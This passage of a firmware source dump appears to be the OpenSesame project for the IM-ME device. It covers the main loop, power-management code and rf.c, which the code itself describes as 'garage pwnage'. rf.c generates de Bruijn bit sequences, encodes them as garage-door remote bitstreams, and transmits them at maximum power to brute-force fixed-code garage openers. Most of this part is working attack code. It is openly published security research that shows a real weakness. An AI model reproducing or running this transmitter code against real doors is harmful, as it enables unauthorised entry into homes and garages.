215 | // "123456789 123456789 1"
216 | // TODO: make this stuff actually selectable
217 | printl(2, "Frequency");
218 | printrlc(2, 21-5, "Auto");
219 | printl(3, "Baud rate");
220 | printrlc(3, 21-5, "Auto");
221 | printl(4, "Bits");
222 | printrlc(4, 21-5, "Auto");
223 |
224 | // TODO: make this not a loop and use interrupts instead to catch keys
225 | // while (getkey() != ' ');
226 | while (1)
227 | {
228 | key = getkey();
229 |
230 | // tx!
231 | if (key == ' ') break;
232 | else if (key == KPWR)
233 | {
234 | sleepy = 1;
235 | chkSleep();
236 | }
237 | }
238 |
239 | // start de bruijn sending
240 | for (key = 0; key < sizeof(garages)/sizeof(garages[0]); key++)
241 | {
242 | _garage_id = key;
243 | db_send();
244 | }
245 |
246 | LED_GREEN = HIGH;
247 | LED_RED = HIGH;
248 |
249 | clear();
250 | // "123456789 123456789 1"
251 | printrl(6, "TRANSMISSION COMPLETE");
252 |
253 | } // while
254 | } // main
255 |
256 |
257 | /* knock knock
258 | * - who's there
259 | * irq rf_vector
260 | * - irq rf---
261 | * INTERRUPTING SERVICE ROUTINE RF VECTOR COMPLETE (done transmitting)
262 | */
263 | void rf_isr_orig() __interrupt (RF_VECTOR)
264 | {
265 | // clear the interrupt flags
266 | RFIF &= ~RFIF_IRQ_DONE;
267 | S1CON &= ~0x03; // Clear the general RFIF interrupt registers
268 |
269 | txdone = 1;
270 |
271 | // go idle again
272 | RFST = RFST_SIDLE;
273 | LED_RED = HIGH; // turn red led off
274 | }
275 |
276 | // transmit that badboy
277 | void rftx()
278 | {
279 | // wait for previous transmission to finish (if any)
280 | waitForTx();
281 |
282 | txdone = 0;
283 | LED_GREEN = HIGH; // turn green led off
284 | LED_RED = LOW; // turn red led on
285 |
286 | // ...
287 | }
288 |
289 | // show nyancat while transmitting
290 | void waitForTx()
291 | {
292 | while (!txdone)
293 | {
294 | if (!txFast)
295 | {
296 | // this slows down the tx quite a bit
297 | title;
298 | fb_blank();
299 | fb_bitblt((__xdata u8*) nyan[ni++], 30, 20, 0);
300 | fb_flush();
301 | //printl(0, " OpenSesame ");
302 | title;
303 | printl(1, " Transmitting ");
304 | if (ni >= NYANS)
305 | ni = 0;
306 | }
307 | }
308 | }
309 |
310 | // from Michael Ossmann's epic IM-ME spectrum analyzer:
311 | void chkSleep()
312 | {
313 | u8 i;
314 | /* go to sleep (more or less a shutdown) if power button pressed */
315 | if (sleepy)
316 | {
317 | clear();
318 | sleepMillis(1000);
319 | SSN = LOW;
320 | LCDPowerSave();
321 | SSN = HIGH;
322 |
323 | while (1)
324 | {
325 | sleep();
326 |
327 | /* power button depressed long enough to wake? */
328 | sleepy = 0;
329 | for (i = 0; i < DEBOUNCE_COUNT; i++)
330 | {
331 | sleepMillis(DEBOUNCE_PERIOD);
332 | if (keyscan() != KPWR) sleepy = 1;
333 | }
334 | if (!sleepy) break;
335 | }
336 |
337 | /* reset on wake */
338 | main();
339 | //setup();
340 | //goto reset;
341 | }
342 |
343 | }
344 |
--------------------------------------------------------------------------------
/pm.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2010 Michael Ossmann
3 | *
4 | * This program is free software; you can redistribute it and/or modify
5 | * it under the terms of the GNU General Public License as published by
6 | * the Free Software Foundation; either version 2, or (at your option)
7 | * any later version.
8 | *
9 | * This program is distributed in the hope that it will be useful,
10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | * GNU General Public License for more details.
13 | *
14 | * You should have received a copy of the GNU General Public License
15 | * along with this program; see the file COPYING. If not, write to
16 | * the Free Software Foundation, Inc., 51 Franklin Street,
17 | * Boston, MA 02110-1301, USA.
18 | */
19 |
20 | #include
21 | #include "ioCCxx10_bitdef.h"
22 | #include "types.h"
23 | #include "bits.h"
24 |
25 | /* prepare an interrupt for the power button so it will wake us up */
26 | void setup_pm_interrupt() {
27 | /* clear the interrupt flags */
28 | P1IFG &= ~BIT6;
29 | P1IF = 0;
30 |
31 | /* enable interrupt on power button */
32 | P1IEN = BIT6;
33 |
34 | /* enable interrupts on the port */
35 | IEN2 |= IEN2_P1IE;
36 |
37 | /* produce interrupts on falling edge */
38 | PICTL |= PICTL_P1ICON;
39 |
40 | /* enable interrupts globally */
41 | EA = 1;
42 | }
43 |
44 | /* power button interrupt service routine */
45 | void port1_isr() __interrupt (P1INT_VECTOR) {
46 | /* clear the interrupt flags */
47 | P1IFG &= ~BIT6;
48 | P1IF = 0;
49 |
50 | /* clear sleep mode bits */
51 | SLEEP &= ~SLEEP_MODE;
52 | }
53 |
54 | /*
55 | * All this DMA and clock nonsense is based on the Errata Note (swrz022b) which
56 | * describes a workaround for "Part May Hang in Power Mode." Timing is
57 | * critical here. Do not edit this function without reading the Errata Note.
58 | */
59 |
60 | void sleep() {
61 | volatile u8 desc_high = DMA0CFGH;
62 | volatile u8 desc_low = DMA0CFGL;
63 | //__xdata u8 dma_buf[7] = {0x07,0x07,0x07,0x07,0x07,0x07,0x04};
64 | static __code u8 dma_buf[7] = {0x07,0x07,0x07,0x07,0x07,0x07,0x04};
65 | static __xdata u8 dma_desc[8] = {0x00,0x00,0xDF,0xBE,0x00,0x07,0x20,0x42};
66 |
67 | /* switch to HS RCOSC */
68 | SLEEP &= ~SLEEP_OSC_PD;
69 | while (!(SLEEP & SLEEP_HFRC_S));
70 | CLKCON = (CLKCON & ~CLKCON_CLKSPD) | CLKCON_OSC | CLKSPD_DIV_2;
71 | while (!(CLKCON & CLKCON_OSC));
72 | SLEEP |= SLEEP_OSC_PD;
73 |
74 | setup_pm_interrupt();
75 |
76 | /* store descriptors and abort any transfers */
77 | desc_high = DMA0CFGH;
78 | desc_low = DMA0CFGL;
79 | DMAARM |= (DMAARM_ABORT | DMAARM0);
80 |
81 | /* DMA prep */
82 | dma_desc[0] = (u16)&dma_buf >> 8;
83 | dma_desc[1] = (u16)&dma_buf;
84 | DMA0CFGH = (u16)&dma_desc >> 8;
85 | DMA0CFGL = (u16)&dma_desc;
86 | DMAARM = DMAARM0;
87 |
88 | /*
89 | * Any interrupts not intended to wake from sleep should be
90 | * disabled by this point.
91 | */
92 |
93 | /* disable flash cache */
94 | MEMCTR |= MEMCTR_CACHD;
95 |
96 | /* select sleep mode PM3 and power down XOSC */
97 | SLEEP |= (SLEEP_MODE_PM3 | SLEEP_OSC_PD);
98 |
99 | __asm
100 | nop
101 | nop
102 | nop
103 | __endasm;
104 |
105 | if (SLEEP & SLEEP_MODE_PM3) {
106 | __asm
107 | mov 0xD7,#0x01 /* DMAREQ */
108 | nop
109 | orl 0x87,#0x01 /* last instruction before sleep */
110 | nop /* first instruction after wake */
111 | __endasm;
112 | }
113 |
114 | /* enable flash cache */
115 | MEMCTR &= ~MEMCTR_CACHD;
116 |
117 | /* restore DMA */
118 | DMA0CFGH = desc_high;
119 | DMA0CFGL = desc_low;
120 | DMAARM = DMAARM0;
121 |
122 | /* make sure HS RCOSC is stable */
123 | while (!(SLEEP & SLEEP_HFRC_S));
124 | }
125 |
--------------------------------------------------------------------------------
/pm.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2010 Michael Ossmann
3 | *
4 | * This program is free software; you can redistribute it and/or modify
5 | * it under the terms of the GNU General Public License as published by
6 | * the Free Software Foundation; either version 2, or (at your option)
7 | * any later version.
8 | *
9 | * This program is distributed in the hope that it will be useful,
10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | * GNU General Public License for more details.
13 | *
14 | * You should have received a copy of the GNU General Public License
15 | * along with this program; see the file COPYING. If not, write to
16 | * the Free Software Foundation, Inc., 51 Franklin Street,
17 | * Boston, MA 02110-1301, USA.
18 | */
19 |
20 | void setup_pm_interrupt();
21 | void port1_isr() __interrupt (P1INT_VECTOR);
22 | void sleep();
23 | void chkSleep();
24 |
--------------------------------------------------------------------------------
/rf.c:
--------------------------------------------------------------------------------
1 | // functions for garage pwnage and de bruijn sequence generation
2 | // for the im-me and opensesame garage hacking platform
3 | //
4 | // -samy kamkar
5 | // http://samy.pl/opensesame
6 |
7 | #include "types.h"
8 | #ifndef LOCAL
9 | #include
10 | #endif
11 | #include "display.h"
12 | #include "garages.h"
13 | #include "rf.h"
14 | #include
15 | #include
16 |
17 | // we're making these global because
18 | // we have limited stack and we're
19 | // calling some functions recursively
20 | __xdata u8 a[MAXBITS+1]; // largest bit size possible
21 | u16 s, k;
22 | u8 tmpi;
23 | __bit firstTx;
24 |
25 | // we could read from garages[] directly but this is faster
26 | u8 codelen;
27 | u8 bits, len;
28 | __bit tri;
29 | u32 b0, b1;
30 | //#define bits g.bits
31 | //#define len g.len
32 | //#define tri g.tri
33 | //#define b0 g.b0
34 | //#define b1 g.b1
35 |
36 | #ifdef LOCAL
37 | void rftx() { }
38 | void waitForTx() { }
39 | void printl(u8 line, char *str) { }
40 | int main() { db_send(); }
41 | u8 sequence[MAXLEN];
42 | #else
43 | __xdata u8 sequence[MAXLEN];
44 | #endif
45 |
46 | // set or clear bit b in array A
47 | void setBit(u8 *A, u16 b, __bit val)
48 | {
49 | val ?
50 | (A[b / 8] |= 1 << (b % 8)) :
51 | (A[b / 8] &= ~(1 << (b % 8)));
52 | }
53 |
54 | // test bit b in array A
55 | __bit testBit(u8 *A, u16 b)
56 | {
57 | return ( ( A[b / 8] & (1 << (b % 8) ) ) != 0 );
58 | }
59 |
60 | // binary de bruijn sequence -samyk
61 | void db(u8 t, u8 p)
62 | {
63 | u8 j;
64 |
65 | if (t > bits)
66 | {
67 | if (bits % p == 0)
68 | {
69 | for (j = 1; j <= p; j++)
70 | {
71 | setBit(sequence, s++, a[j]);
72 |
73 | // once we have 254 bytes (may reduce because running out of space!), we need to tx due to size constraints
74 | if ((s + 1) * len >= MAXLEN * 8)
75 | // transmit
76 | doTx();
77 | }
78 | }
79 | }
80 | else
81 | {
82 | a[t] = a[t-p];
83 |
84 | db(t+1, p);
85 | for (j = a[t-p] + 1; j <= (tri ? 2 : 1); j++)
86 | {
87 | a[t] = j;
88 | db(t+1, t);
89 | }
90 | }
91 | }
92 |
93 | // converts our bits to the actual bitstream/modulation the garage expects
94 | void convert_bits()
95 | {
96 | u8 tlen;
97 | u16 z;
98 | u32 tb;
99 |
100 | // pull in last X bits of last transmission
101 | if (!firstTx)
102 | {
103 | // let's keep last bits (10) * len (4) since we may have broken the true code up during this delay
104 | for (tmpi = 0; tmpi < codelen; tmpi++)
105 | {
106 | //printf("s=%d cl=%d len=%d realbuf[%d] = rb[%d]\n", s, codelen, len, tmpi,
107 | // (int)(ceilf((s*len)/8.0)) - codelen + tmpi);
108 | realbuf[tmpi] = realbuf[(int)(ceilf((s*len)/8.0)) - codelen + tmpi];
109 | //realbuf[tmpi] = realbuf[((s*len)/8) - codelen + tmpi];
110 | }
111 | }
112 | else
113 | firstTx = 0;
114 |
115 | // go through each bit and convert to the garage bitstream equivalent
116 | // eg 0 = 1000, 1 = 1110
117 | for (z = k / len; z < s; z++)
118 | {
119 | tb = testBit(sequence, z) ? b1 : b0;
120 |
121 | tlen = len;
122 | while (tlen--)
123 | {
124 | // there's gotta be a better way to do this but my brain hurts right now
125 | setBit(realbuf, (7-(k%8))+((k/8)*8), (tb >> tlen) & 1);
126 | k++;
127 | }
128 | }
129 |
130 | // start 10 bits in next time (assuming 10 bit code)
131 | k = bits * len;
132 | s = bits;
133 | }
134 |
135 | // start the de bruijn sequence using the recursive db() function
136 | void de_bruijn()
137 | {
138 | // clear a[], s
139 | for (tmpi = 0; tmpi <= MAXBITS; tmpi++)
140 | a[tmpi] = 0;
141 | s = 0;
142 | firstTx = 1;
143 |
144 | // begin recursive de bruijn
145 | db(1, 1);
146 |
147 | // a real de bruijn wraps, but since we can't wrap time we have to send the last of the bits to complete the sequence
148 | for (tmpi = 0; tmpi < bits-1; tmpi++)
149 | setBit(sequence, s++, 0);
150 |
151 | // transmit anything left over
152 | doTx();
153 | }
154 |
155 | // set FREQ registers in cc111x from a float
156 | void setFreq()
157 | {
158 | #define fnum (u32)(g.hz * ((0x10000 / 1000000.0) / MHZ))
159 | FREQ2 = fnum >> 16;
160 | FREQ1 = (fnum >> 8) & 0xFF;
161 | FREQ0 = fnum & 0xFF;
162 | }
163 |
164 | // set baudrate registers
165 | void setBaud()
166 | {
167 | u8 drate_e = 0;
168 | u8 drate_m = 0;
169 | float m = 0;
170 |
171 | for (tmpi = 0; tmpi < 16; tmpi++)
172 | {
173 |
174 | m = (g.baud * powf(2,28) / (powf(2, tmpi)* (MHZ*1000000.0))-256) + .5;
175 | if (m < 256)
176 | {
177 | drate_e = tmpi;
178 | drate_m = m;
179 | break;
180 | }
181 | }
182 |
183 | //drate = 1000000.0 * MHZ * (256+drate_m) * powf(2,drate_e) / powf(2,28);
184 |
185 | MDMCFG3 = drate_m;
186 | #ifndef MDMCFG4_DRATE_E
187 | #define MDMCFG4_DRATE_E 0x0F
188 | #endif
189 | MDMCFG4 &= ~MDMCFG4_DRATE_E;
190 | MDMCFG4 |= drate_e;
191 | }
192 |
193 | // prepare our transmission and keep the end for
194 | // the next transmission as the delay between packets
195 | // may prevent the de bruijn exploit from working
196 | void doTx()
197 | {
198 | // don't modify realbuf until we're done transmitting
199 | // previous data since we're using DMA to TX
200 | waitForTx();
201 |
202 | // modify our realbuf to the real sequence of bits we need to send
203 | convert_bits();
204 |
205 | // begin transmitting
206 | rftx();
207 | }
208 |
209 | // create a de bruijn sequence according to what we want here
210 | void db_send()
211 | {
212 | // set power
213 | // maximum power
214 | PA_TABLE0 = 0x00;
215 | if (g.hz <= 400000000)
216 | PA_TABLE1 = 0xC2;
217 | else if (g.hz <= 464000000)
218 | PA_TABLE1 = 0xC0;
219 | else if (g.hz <= 900000000)
220 | PA_TABLE1 = 0xC2;
221 | else
222 | PA_TABLE1 = 0xC0;
223 |
224 | // set frequency
225 | setFreq();
226 | CHANNR = 0x00;
227 |
228 | // maximum channel bandwidth
229 | setBaud();
230 |
231 | bits = g.bits;
232 | len = g.len;
233 | tri = g.tri;
234 | b0 = g.b0;
235 | b1 = g.b1;
236 | codelen = ceilf(bits * (len / 8.0));
237 |
238 | // create and send our de bruijn bitstream
239 | de_bruijn();
240 | }
241 |
--------------------------------------------------------------------------------
/rf.h:
--------------------------------------------------------------------------------
1 | #include "types.h"
2 | #include
3 |
4 | #ifdef CC1110
5 | #define MHZ 26
6 | #elif CC1111
7 | #define MHZ 48
8 | #else
9 | #error Please define CC1110 or CC1111 so clock can be determined.
10 | #endif
11 |
12 | #ifdef LOCAL
13 | int PA_TABLE1, PA_TABLE0, FREQ0, FREQ1, FREQ2, CHANNR, MDMCFG3, MDMCFG4;
14 | u8 realbuf[MAXLEN+1];
15 | #else
16 | extern __xdata u8 realbuf[MAXLEN+1];
17 | #endif
18 |
19 | void rftx();
20 | void waitForTx();
21 | void db_send();
22 | void setBit(u8 *A, u16 b, __bit val);
23 | __bit testBit(u8 *A, u16 b);
24 | void db(u8 t, u8 p);
25 | void convert_bits();
26 | void de_bruijn();
27 | void setFreq();
28 | void setBaud();
29 | void doTx();
30 |
--------------------------------------------------------------------------------
/types.h:
--------------------------------------------------------------------------------
1 | /* locally via gcc */
2 | #ifdef __GNUC__ // testing locally
3 | #define LOCAL
4 | #define __xdata static
5 | #define __idata static
6 | #define __far static
7 | #define __data static
8 | #define __near static
9 | #define __code static
10 | #define __bit char
11 | #include
12 | #define pp(...) printf(__VA_ARGS__)
13 |
14 | /* simulator or real CC111x */
15 | #else
16 |
17 | #ifdef SIMULATOR
18 | #define pp(...) printf(__VA_ARGS__)
19 | #else
20 | #define pp(...) ((void)0)
21 | #endif
22 |
23 | #endif
24 |
25 | #define CC1110
26 |
27 | #define true 1
28 | #define false 0
29 | #define u8 unsigned char
30 | #define u16 unsigned int
31 | #define u32 unsigned long int
32 | #define s8 char
33 | #define s16 int
34 | #define s32 long int
35 |
--------------------------------------------------------------------------------
/zsprites.c:
--------------------------------------------------------------------------------
1 | #include "types.h"
2 | #include "zsprites.h"
3 |
4 | __code u8 nyan[NYANS][363] = {
5 | {
6 | 1,
7 | #include "inc/nyan1.pnm.inc"
8 | }, {
9 | 1,
10 | #include "inc/nyan2.pnm.inc"
11 | }, {
12 | 1,
13 | #include "inc/nyan3.pnm.inc"
14 | }, {
15 | 1,
16 | #include "inc/nyan4.pnm.inc"
17 | }
18 | };
--------------------------------------------------------------------------------
/zsprites.h:
--------------------------------------------------------------------------------
1 | #include "types.h"
2 |
3 | #define NYANS 4
4 | extern __code u8 nyan[4][363];
--------------------------------------------------------------------------------